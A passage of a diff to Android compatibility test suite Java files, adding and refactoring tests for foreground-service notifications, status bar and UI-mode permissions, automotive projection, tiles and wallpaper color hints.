     private Intent mLocalDeniedService;
     private Intent mLocalForegroundService;
+    private Intent mLocalPhoneCallService;
     private Intent mLocalGrantedService;
     private Intent mLocalService_ApplicationHasPermission;
     private Intent mLocalService_ApplicationDoesNotHavePermission;
@@ -695,6 +702,7 @@
         mExternalService = new Intent();
         mExternalService.setComponent(ComponentName.unflattenFromString(EXTERNAL_SERVICE_COMPONENT));
         mLocalForegroundService = new Intent(mContext, LocalForegroundService.class);
+        mLocalPhoneCallService = new Intent(mContext, LocalPhoneCallService.class);
         mLocalDeniedService = new Intent(mContext, LocalDeniedService.class);
         mLocalGrantedService = new Intent(mContext, LocalGrantedService.class);
         mLocalService_ApplicationHasPermission = new Intent(
@@ -890,10 +898,18 @@
       mContext.unbindService(conn);
     }
 
+    private Intent foregroundServiceIntent(Intent intent, int command) {
+        return new Intent(intent)
+                .putExtras(LocalForegroundService.newCommand(mStateReceiver, command));
+    }
+
     /* Just the Intent for a foreground service */
     private Intent foregroundServiceIntent(int command) {
-        return new Intent(mLocalForegroundService)
-                .putExtras(LocalForegroundService.newCommand(mStateReceiver, command));
+        return foregroundServiceIntent(mLocalForegroundService, command);
+    }
+
+    private void startForegroundService(Intent intent, int command) {
+        mContext.startService(foregroundServiceIntent(intent, command));
     }
 
     private void startForegroundService(int command) {
@@ -911,14 +927,13 @@
         try {
             // Start service as foreground - it should show notification #1
             mExpectedServiceState = STATE_START_1;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start first time");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
             // Stop foreground without removing notification - it should still show notification #1
             mExpectedServiceState = STATE_START_2;
-            startForegroundService(
-                    LocalForegroundService.COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION);
+            startForegroundService(COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION);
             waitForResultOrThrow(DELAY, "service to stop foreground");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
@@ -929,7 +944,7 @@
 
             // Start service as foreground again - it should kill notification #1 and show #2
             mExpectedServiceState = STATE_START_3;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start foreground 2nd time");
             assertNoNotification(1);
             assertNotification(2, LocalForegroundService.getNotificationTitle(2));
@@ -964,7 +979,7 @@
             // Start service as foreground - it should show notification #1
             Log.d(TAG, "Expecting first start state...");
             mExpectedServiceState = STATE_START_1;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start first time");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
@@ -983,7 +998,7 @@
 
             // Start service as foreground again - it should show notification #2
             mExpectedServiceState = STATE_START_3;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start as foreground 2nd time");
             assertNotification(2, LocalForegroundService.getNotificationTitle(2));
 
@@ -1062,14 +1077,13 @@
 
             // Start service as foreground - it should show notification #1
             mExpectedServiceState = STATE_START_1;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start first time");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
             // Detaching notification
             mExpectedServiceState = STATE_START_2;
-            startForegroundService(
-                    LocalForegroundService.COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION);
+            startForegroundService(COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION);
             waitForResultOrThrow(DELAY, "service to stop foreground");
             assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
@@ -1080,7 +1094,7 @@
 
             // Start service as foreground again - it should show notification #2..
             mExpectedServiceState = STATE_START_3;
-            startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+            startForegroundService(COMMAND_START_FOREGROUND);
             waitForResultOrThrow(DELAY, "service to start as foreground 2nd time");
             assertNotification(2, LocalForegroundService.getNotificationTitle(2));
             //...but keeping notification #1
@@ -1110,7 +1124,7 @@
 
         // Start service as foreground - it should show notification #1
         mExpectedServiceState = STATE_START_1;
-        startForegroundService(LocalForegroundService.COMMAND_START_FOREGROUND);
+        startForegroundService(COMMAND_START_FOREGROUND);
         waitForResultOrThrow(DELAY, "service to start first time");
         assertNotification(1, LocalForegroundService.getNotificationTitle(1));
 
@@ -1130,6 +1144,68 @@
 
     }
 
+    public void testForegroundService_deferredNotificationChannelDeletion() throws Exception {
+        NotificationManager noMan = mContext.getSystemService(NotificationManager.class);
+
+        // Start service as foreground - it should show notification #1
+        mExpectedServiceState = STATE_START_1;
+        startForegroundService(COMMAND_START_FOREGROUND_DEFER_NOTIFICATION);
+        waitForResultOrThrow(DELAY, "service to start first time");
+        assertNoNotification(1);
+
+        try {
+            final String channel = LocalForegroundService.NOTIFICATION_CHANNEL_ID;
+            noMan.deleteNotificationChannel(channel);
+            fail("Deleting FGS deferred notification channel did not throw");
+        } catch (SecurityException se) {
+            // Expected outcome
+        } catch (Exception e) {
+            fail("Deleting deferred FGS notification threw unexpected failure " + e);
+        }
+
+        mExpectedServiceState = STATE_DESTROY;
+        mContext.stopService(mLocalForegroundService);
+        waitForResultOrThrow(DELAY, "service to be destroyed");
+    }
+
+    public void testForegroundService_typeImmediateNotification() throws Exception {
+        // expect that an FGS with phoneCall type has its notification displayed
+        // immediately even without explicit request by the app
+        mExpectedServiceState = STATE_START_1;
+        startForegroundService(mLocalPhoneCallService,
+                COMMAND_START_FOREGROUND_DEFER_NOTIFICATION);
+        waitForResultOrThrow(DELAY, "phoneCall service to start");
+        assertNotification(1, LocalPhoneCallService.getNotificationTitle(1));
+
+        mExpectedServiceState = STATE_DESTROY;
+        mContext.stopService(mLocalPhoneCallService);
+        waitForResultOrThrow(DELAY, "service to be destroyed");
+    }
+
+    public void testForegroundService_deferredNotification() throws Exception {
+        mExpectedServiceState = STATE_START_1;
+        startForegroundService(COMMAND_START_FOREGROUND_DEFER_NOTIFICATION);
+        waitForResultOrThrow(DELAY, "service to start with deferred notification");
+        assertNoNotification(1);
+
+        // Wait ten seconds
+        final long stopTime = SystemClock.uptimeMillis() + 10_000L;
+        while (SystemClock.uptimeMillis() < stopTime) {
+            try {
+                Thread.sleep(1000L);
+            } catch (InterruptedException e) {
+                /* ignore */
+            }
+        }
+
+        // And verify that the notification is now visible
+        assertNotification(1, LocalForegroundService.getNotificationTitle(1));
+
+        mExpectedServiceState = STATE_DESTROY;
+        mContext.stopService(mLocalForegroundService);
+        waitForResultOrThrow(DELAY, "service to be destroyed");
+    }
+
     class TestSendCallback implements PendingIntent.OnFinished {
         public volatile int result = -1;
 
@@ -1146,8 +1222,8 @@
         boolean success = false;
 
         PendingIntent pi = PendingIntent.getForegroundService(mContext, 1,
-                foregroundServiceIntent(LocalForegroundService.COMMAND_START_FOREGROUND),
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                foregroundServiceIntent(COMMAND_START_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         TestSendCallback callback = new TestSendCallback();
 
         try {
diff --git a/tests/app/src/android/app/cts/StatusBarManagerTest.java b/tests/app/src/android/app/cts/StatusBarManagerTest.java
index fc2f16e..65c933d 100644
--- a/tests/app/src/android/app/cts/StatusBarManagerTest.java
+++ b/tests/app/src/android/app/cts/StatusBarManagerTest.java
@@ -18,31 +18,32 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
-import android.Manifest;
 import android.app.StatusBarManager;
 import android.app.StatusBarManager.DisableInfo;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 public class StatusBarManagerTest {
+    private static final String PERMISSION_STATUS_BAR = "android.permission.STATUS_BAR";
 
     private StatusBarManager mStatusBarManager;
     private Context mContext;
+    private UiAutomation mUiAutomation;
 
     private boolean isWatch() {
         return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
@@ -58,17 +59,19 @@
         assumeFalse("Status bar service not supported", isWatch());
         mStatusBarManager = (StatusBarManager) mContext.getSystemService(
                 Context.STATUS_BAR_SERVICE);
-        getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity("android.permission.STATUS_BAR");
+        mUiAutomation = getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(PERMISSION_STATUS_BAR);
     }
 
     @After
     public void tearDown() {
 
         if (mStatusBarManager != null) {
+            // Adopt again since tests could've dropped it
+            mUiAutomation.adoptShellPermissionIdentity(PERMISSION_STATUS_BAR);
             mStatusBarManager.setDisabledForSetup(false);
         }
-        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        mUiAutomation.dropShellPermissionIdentity();
     }
 
 
@@ -109,7 +112,7 @@
 
     @Test
     public void testDisableForSimLock_setDisabledTrue() throws Exception {
-        mStatusBarManager.setDisabledForSimNetworkLock(true);
+        mStatusBarManager.setExpansionDisabledForSimNetworkLock(true);
 
         // Check for the default set of disable flags
         assertTrue(mStatusBarManager.getDisableInfo().isStatusBarExpansionDisabled());
@@ -118,10 +121,27 @@
     @Test
     public void testDisableForSimLock_setDisabledFalse() throws Exception {
         // First disable, then re-enable
-        mStatusBarManager.setDisabledForSimNetworkLock(true);
-        mStatusBarManager.setDisabledForSimNetworkLock(false);
+        mStatusBarManager.setExpansionDisabledForSimNetworkLock(true);
+        mStatusBarManager.setExpansionDisabledForSimNetworkLock(false);
 
         DisableInfo info = mStatusBarManager.getDisableInfo();
         assertTrue("Invalid disableFlags", info.areAllComponentsEnabled());
     }
+
+    @Test(expected = SecurityException.class)
+    public void testCollapsePanels_withoutStatusBarPermission_throws() throws Exception {
+        // We've adopted shell identity for STATUS_BAR in setUp(), so drop it now
+        mUiAutomation.dropShellPermissionIdentity();
+
+        mStatusBarManager.collapsePanels();
+    }
+
+    @Test
+    public void testCollapsePanels_withStatusBarPermission_doesNotThrow() throws Exception {
+        // We've adopted shell identity for STATUS_BAR in setUp()
+
+        mStatusBarManager.collapsePanels();
+
+        // Nothing thrown, passed
+    }
 }
diff --git a/tests/app/src/android/app/cts/TileServiceTest.java b/tests/app/src/android/app/cts/TileServiceTest.java
index 152baa9..2509eb7 100644
--- a/tests/app/src/android/app/cts/TileServiceTest.java
+++ b/tests/app/src/android/app/cts/TileServiceTest.java
@@ -80,6 +80,16 @@
     }
 
     @Test
+    public void testTile_hasCorrectStateDescription() throws Exception {
+        initializeAndListen();
+
+        Tile tile = mTileService.getQsTile();
+        tile.setStateDescription("test_stateDescription");
+        tile.updateTile();
+        assertEquals("test_stateDescription", tile.getStateDescription());
+    }
+
+    @Test
     public void testShowDialog() throws Exception {
         Looper.prepare();
         Dialog dialog = new AlertDialog.Builder(mContext).create();
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index b474fb8..39ca201 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -17,6 +17,10 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.Manifest;
 import android.app.UiAutomation;
 import android.app.UiModeManager;
 import android.content.Context;
@@ -25,24 +29,30 @@
 import android.os.ParcelFileDescriptor;
 import android.os.UserHandle;
 import android.test.AndroidTestCase;
+import android.util.ArraySet;
 import android.util.Log;
 
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.compatibility.common.util.SettingsUtils;
 import com.android.compatibility.common.util.UserUtils;
 
+import com.google.common.util.concurrent.MoreExecutors;
+
 import junit.framework.Assert;
 
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.time.LocalTime;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
 
 public class UiModeManagerTest extends AndroidTestCase {
     private static final String TAG = "UiModeManagerTest";
-    private static final long MAX_WAIT_TIME = 2 * 1000;
-
-    private static final long WAIT_TIME_INCR = 100;
+    private static final long MAX_WAIT_TIME_SECS = 2;
+    private static final long MAX_WAIT_TIME_MS = MAX_WAIT_TIME_SECS * 1000;
+    private static final long WAIT_TIME_INCR_MS = 100;
 
     private UiModeManager mUiModeManager;
 
@@ -54,6 +64,8 @@
         // reset nightMode
         setNightMode(UiModeManager.MODE_NIGHT_YES);
         setNightMode(UiModeManager.MODE_NIGHT_NO);
+        // Make sure automotive projection is not set by this package at the beginning of the test.
+        releaseAutomotiveProjection();
     }
 
     public void testUiMode() throws Exception {
@@ -247,20 +259,14 @@
         if (mUiModeManager.isUiModeLocked()) {
             return;
         }
-        // Adopt shell permission so the required permission
-        // (android.permission.ENTER_CAR_MODE_PRIORITIZED) is granted.
-        UiAutomation ui = getInstrumentation().getUiAutomation();
-        ui.adoptShellPermissionIdentity();
 
-        try {
-            mUiModeManager.enableCarMode(100, 0);
-            assertEquals(Configuration.UI_MODE_TYPE_CAR, mUiModeManager.getCurrentModeType());
+        runWithShellPermissionIdentity(() -> mUiModeManager.enableCarMode(100, 0),
+                Manifest.permission.ENTER_CAR_MODE_PRIORITIZED);
+        assertEquals(Configuration.UI_MODE_TYPE_CAR, mUiModeManager.getCurrentModeType());
 
-            mUiModeManager.disableCarMode(0);
-            assertEquals(Configuration.UI_MODE_TYPE_NORMAL, mUiModeManager.getCurrentModeType());
-        } finally {
-            ui.dropShellPermissionIdentity();
-        }
+        runWithShellPermissionIdentity(() -> mUiModeManager.disableCarMode(0),
+                Manifest.permission.ENTER_CAR_MODE_PRIORITIZED);
+        assertEquals(Configuration.UI_MODE_TYPE_NORMAL, mUiModeManager.getCurrentModeType());
     }
 
     /**
@@ -280,6 +286,253 @@
         fail("Expected SecurityException");
     }
 
+    /**
+     * Verifies that an app holding the TOGGLE_AUTOMOTIVE_PROJECTION permission can request/release
+     * automotive projection.
+     */
+    public void testToggleAutomotiveProjection() throws Exception {
+        // If we didn't hold it in the first place, we didn't release it, so expect false.
+        assertFalse(releaseAutomotiveProjection());
+        assertTrue(requestAutomotiveProjection());
+        // Multiple calls are OK.
+        assertTrue(requestAutomotiveProjection());
+        assertTrue(releaseAutomotiveProjection());
+        // Once it's released, further calls return false since it was already released.
+        assertFalse(releaseAutomotiveProjection());
+    }
+
+    /**
+     * Verifies that the system can correctly read the projection state.
+     */
+    public void testReadProjectionState() throws Exception {
+        assertEquals(UiModeManager.PROJECTION_TYPE_NONE, getActiveProjectionTypes());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE).isEmpty());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_ALL).isEmpty());
+        requestAutomotiveProjection();
+        assertEquals(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE, getActiveProjectionTypes());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE)
+                .contains(getContext().getPackageName()));
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_ALL)
+                .contains(getContext().getPackageName()));
+        releaseAutomotiveProjection();
+        assertEquals(UiModeManager.PROJECTION_TYPE_NONE, getActiveProjectionTypes());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE).isEmpty());
+        assertTrue(getProjectingPackages(UiModeManager.PROJECTION_TYPE_ALL).isEmpty());
+    }
+
+    /** Verifies that the system receives callbacks about the projection state at expected times. */
+    public void testReadProjectionState_listener() throws Exception {
+        // Use AtomicInteger so it can be effectively final.
+        AtomicInteger activeProjectionTypes = new AtomicInteger();
+        Set<String> projectingPackages = new ArraySet<>();
+        AtomicInteger callbackInvocations = new AtomicInteger();
+        UiModeManager.OnProjectionStateChangeListener listener = (t, pkgs) -> {
+            Log.i(TAG, "onProjectionStateChanged(" + t + "," + pkgs + ")");
+            activeProjectionTypes.set(t);
+            projectingPackages.clear();
+            projectingPackages.addAll(pkgs);
+            callbackInvocations.incrementAndGet();
+        };
+
+        requestAutomotiveProjection();
+        runWithShellPermissionIdentity(() -> mUiModeManager.addOnProjectionStateChangeListener(
+                UiModeManager.PROJECTION_TYPE_ALL, MoreExecutors.directExecutor(), listener),
+                Manifest.permission.READ_PROJECTION_STATE);
+
+        // Should have called back immediately, but the call might not have gotten here yet.
+        CommonTestUtils.waitUntil("Callback wasn't invoked on listener addition!",
+                MAX_WAIT_TIME_SECS, () -> callbackInvocations.get() == 1);
+        assertEquals(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE, activeProjectionTypes.get());
+        assertEquals(1, projectingPackages.size());
+        assertTrue(projectingPackages.contains(getContext().getPackageName()));
+
+        // Callback should not be invoked again.
+        requestAutomotiveProjection();
+        Thread.sleep(MAX_WAIT_TIME_MS);
+        assertEquals(1, callbackInvocations.get());
+
+        releaseAutomotiveProjection();
+        CommonTestUtils.waitUntil("Callback wasn't invoked on projection release!",
+                MAX_WAIT_TIME_SECS, () -> callbackInvocations.get() == 2);
+        assertEquals(UiModeManager.PROJECTION_TYPE_NONE, activeProjectionTypes.get());
+        assertEquals(0, projectingPackages.size());
+
+        // Again, no callback for noop call.
+        releaseAutomotiveProjection();
+        Thread.sleep(MAX_WAIT_TIME_MS);
+        assertEquals(2, callbackInvocations.get());
+
+        // Test the case that isn't at time of registration.
+        requestAutomotiveProjection();
+        CommonTestUtils.waitUntil("Callback wasn't invoked on projection set!",
+                MAX_WAIT_TIME_SECS, () -> callbackInvocations.get() == 3);
+        assertEquals(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE, activeProjectionTypes.get());
+        assertEquals(1, projectingPackages.size());
+        assertTrue(projectingPackages.contains(getContext().getPackageName()));
+
+        // Unregister and shouldn't receive further callbacks.
+        runWithShellPermissionIdentity(() -> mUiModeManager.removeOnProjectionStateChangeListener(
+                listener), Manifest.permission.READ_PROJECTION_STATE);
+
+        releaseAutomotiveProjection();
+        requestAutomotiveProjection();
+        releaseAutomotiveProjection(); // Just to clean up.
+        Thread.sleep(MAX_WAIT_TIME_MS);
+        assertEquals(3, callbackInvocations.get());
+    }
+
+    private boolean requestAutomotiveProjection() throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
+    }
+
+    private boolean releaseAutomotiveProjection() throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                Manifest.permission.TOGGLE_AUTOMOTIVE_PROJECTION);
+    }
+
+    private int getActiveProjectionTypes() throws Exception {
+        return callWithShellPermissionIdentity(mUiModeManager::getActiveProjectionTypes,
+                Manifest.permission.READ_PROJECTION_STATE);
+    }
+
+    private Set<String> getProjectingPackages(int projectionType) throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> mUiModeManager.getProjectingPackages(projectionType),
+                Manifest.permission.READ_PROJECTION_STATE);
+    }
+
+    /**
+     * Attempts to request automotive projection without TOGGLE_AUTOMOTIVE_PROJECTION permission.
+     */
+    public void testRequestAutomotiveProjectionDenied() {
+        try {
+            mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Attempts to request automotive projection without TOGGLE_AUTOMOTIVE_PROJECTION permission.
+     */
+    public void testReleaseAutomotiveProjectionDenied() {
+        try {
+            mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Attempts to request more than one projection type at once.
+     */
+    public void testRequestAllProjectionTypes() {
+        try {
+            mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_ALL);
+        } catch (IllegalArgumentException iae) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected IllegalArgumentException");
+    }
+
+    /**
+     * Attempts to release more than one projection type.
+     */
+    public void testReleaseAllProjectionTypes() {
+        try {
+            mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_ALL);
+        } catch (IllegalArgumentException iae) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected IllegalArgumentException");
+    }
+
+    /** Attempts to request no projection types. */
+    public void testRequestNoProjectionTypes() {
+        try {
+            mUiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_NONE);
+        } catch (IllegalArgumentException iae) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected IllegalArgumentException");
+    }
+
+    /** Attempts to release no projection types. */
+    public void testReleaseNoProjectionTypes() {
+        try {
+            mUiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_NONE);
+        } catch (IllegalArgumentException iae) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected IllegalArgumentException");
+    }
+
+    /** Attempts to call getActiveProjectionTypes without READ_PROJECTION_STATE permission. */
+    public void testReadProjectionState_getActiveProjectionTypesDenied() {
+        try {
+            mUiModeManager.getActiveProjectionTypes();
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /** Attempts to call getProjectingPackages without READ_PROJECTION_STATE permission. */
+    public void testReadProjectionState_getProjectingPackagesDenied() {
+        try {
+            mUiModeManager.getProjectingPackages(UiModeManager.PROJECTION_TYPE_ALL);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Attempts to call addOnProjectionStateChangeListener without
+     * READ_PROJECTION_STATE permission.
+     */
+    public void testReadProjectionState_addOnProjectionStateChangeListenerDenied() {
+        try {
+            mUiModeManager.addOnProjectionStateChangeListener(UiModeManager.PROJECTION_TYPE_ALL,
+                    getContext().getMainExecutor(), (t, pkgs) -> { });
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Attempts to call removeOnProjectionStateChangeListener without
+     * READ_PROJECTION_STATE permission.
+     */
+    public void testReadProjectionState_removeOnProjectionStateChangeListenerDenied() {
+        UiModeManager.OnProjectionStateChangeListener listener = (t, pkgs) -> { };
+        runWithShellPermissionIdentity(() -> mUiModeManager.addOnProjectionStateChangeListener(
+                UiModeManager.PROJECTION_TYPE_ALL, getContext().getMainExecutor(), listener),
+                Manifest.permission.READ_PROJECTION_STATE);
+        try {
+            mUiModeManager.removeOnProjectionStateChangeListener(listener);
+        } catch (SecurityException se) {
+            // Expect exception.
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
     private boolean isAutomotive() {
         return getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_AUTOMOTIVE);
@@ -364,12 +617,12 @@
     private void assertStoredNightModeSetting(int mode) {
         int storedModeInt = -1;
         // Settings.Secure.UI_NIGHT_MODE
-        for (int i = 0; i < MAX_WAIT_TIME; i += WAIT_TIME_INCR) {
+        for (int i = 0; i < MAX_WAIT_TIME_MS; i += WAIT_TIME_INCR_MS) {
             String storedMode = getUiNightModeFromSetting();
             storedModeInt = Integer.parseInt(storedMode);
             if (mode == storedModeInt) break;
             try {
-                Thread.sleep(WAIT_TIME_INCR);
+                Thread.sleep(WAIT_TIME_INCR_MS);
             } catch (InterruptedException e) {
                 e.printStackTrace();
             }
diff --git a/tests/app/src/android/app/cts/WallpaperColorsTest.java b/tests/app/src/android/app/cts/WallpaperColorsTest.java
index a2fe4b3..6c1990c 100644
--- a/tests/app/src/android/app/cts/WallpaperColorsTest.java
+++ b/tests/app/src/android/app/cts/WallpaperColorsTest.java
@@ -108,4 +108,32 @@
 
         Assert.assertEquals(drawable.getBounds(), initialBounds);
     }
+
+    @Test
+    public void wallpaperColorsHints_default() {
+        WallpaperColors wallpaperColors = new WallpaperColors(Color.valueOf(Color.WHITE),
+                Color.valueOf(Color.BLACK), Color.valueOf(Color.GREEN));
+        Assert.assertEquals(wallpaperColors.getColorHints(), 0);
+    }
+
+    @Test
+    public void wallpaperColorsHints_ctor() {
+        WallpaperColors wallpaperColors = new WallpaperColors(Color.valueOf(Color.WHITE),
+                Color.valueOf(Color.BLACK), Color.valueOf(Color.GREEN),
+                WallpaperColors.HINT_SUPPORTS_DARK_TEXT);
+        Assert.assertEquals(wallpaperColors.getColorHints(),
+                WallpaperColors.HINT_SUPPORTS_DARK_TEXT);
+
+        wallpaperColors = new WallpaperColors(Color.valueOf(Color.WHITE),
+                Color.valueOf(Color.BLACK), Color.valueOf(Color.GREEN),
+                WallpaperColors.HINT_SUPPORTS_DARK_THEME);
+        Assert.assertEquals(wallpaperColors.getColorHints(),
+                WallpaperColors.HINT_SUPPORTS_DARK_THEME);
+
+        final int both = WallpaperColors.HINT_SUPPORTS_DARK_TEXT
+                | WallpaperColors.HINT_SUPPORTS_DARK_THEME;
+        wallpaperColors = new WallpaperColors(Color.valueOf(Color.WHITE),
+                Color.valueOf(Color.BLACK), Color.valueOf(Color.GREEN), both);
+        Assert.assertEquals(wallpaperColors.getColorHints(), both);
+    }
 }
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index a8a73ca..d09b7ee 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -309,8 +309,6 @@
             Assert.assertEquals("red", 0f, secondary.red(), delta);
             Assert.assertEquals("green", 0f, secondary.green(), delta);
             Assert.assertEquals("blue", 1f, secondary.blue(), delta);
-
-            Assert.assertNull(colors.getTertiaryColor());
         } catch (IOException e) {
             throw new RuntimeException(e);
         } finally {
diff --git a/tests/app/src/android/app/cts/WearableExtenderTest.java b/tests/app/src/android/app/cts/WearableExtenderTest.java
index 768eb25..bcdb36d 100644
--- a/tests/app/src/android/app/cts/WearableExtenderTest.java
+++ b/tests/app/src/android/app/cts/WearableExtenderTest.java
@@ -44,7 +44,7 @@
         final String dismissalId = "dismissal_id";
         final int contentActionIndex = 2;
         final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification page1 = new Notification.Builder(mContext, "test id")
             .setSmallIcon(1)
             .setContentTitle("page1")
@@ -196,7 +196,7 @@
         final int contentActionIndex = 2;
         Notification.Action action = newActionBuilder().build();
         final Bitmap background = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification page1 = new Notification.Builder(mContext, "test id")
             .setSmallIcon(1)
             .setContentTitle("page1")
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
new file mode 100644
index 0000000..2a6f5c3
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+public class FutureServiceConnection implements ServiceConnection {
+    private static final String TAG = "FutureServiceConnection";
+
+    private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+    public IBinder get(long timeoutMs) throws Exception {
+        return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+
+    @Override
+    public void onServiceConnected(ComponentName name, IBinder service) {
+        mFuture.complete(service);
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName name) {
+        Log.w(TAG, name.flattenToShortString() + " disconnected");
+        mFuture = new CompletableFuture<>();
+    }
+}
